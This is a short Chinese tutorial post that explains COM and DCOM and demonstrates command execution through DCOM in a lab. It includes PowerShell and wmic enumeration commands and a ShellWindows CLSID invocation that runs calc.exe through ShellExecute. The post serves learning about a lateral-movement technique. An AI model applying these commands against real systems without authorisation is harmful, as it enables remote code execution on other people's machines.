DOM和DCOM小探

DOM和DCOM小探

COM、DCOM简述

COM:组件对象模型 DCOM:分布式组件对象模型

COM表现为一种标准,指定对象模型和编程要求从而提供对象之间的通信交互

COM客户端和服务器:COM客户端获取代码或对象指向 COM服务器的指针,通过调用其接口的方法来使用其服务。 COM 服务器向客户端提供服务,服务实现COM 接口,由任何能够获取指向服务器对象上某个接口的指针(只能通过获取指针的方式)的客户端调用。

DCOM是对COM的扩展,分布一部分可理解为空间位置层面,即DCOM允许不同机器之间(远程)组件通信,而COM只在同一机器内提供通信接口。

渗透测试层面,理解为一堆组件和接口,调用它们执行相应的功能

利用DCOM组件执行命令

操作攻击机为kali,靶机为windows server 2012 R2

本地获取DCOM程序列表

Get-CimInstance Win32_DCOMApplication

image-20221226225600459

AppID是一串GUID,系统通过AppID来查找对象。

在目标为win7或其他默认安装powershell2.0的机器中,替代命令如下:

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

或使用wmic查询

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication  GET /all /FORMAT:list

image-20221227094230924

以shellwindows为例

查询AppID

Get-CimInstance Win32_DCOMApplication | findstr "shellwindows"

依次执行

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()

image-20221227100727311

执行命令

$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

image-20221227101023837

image-20221227101013812

发表评论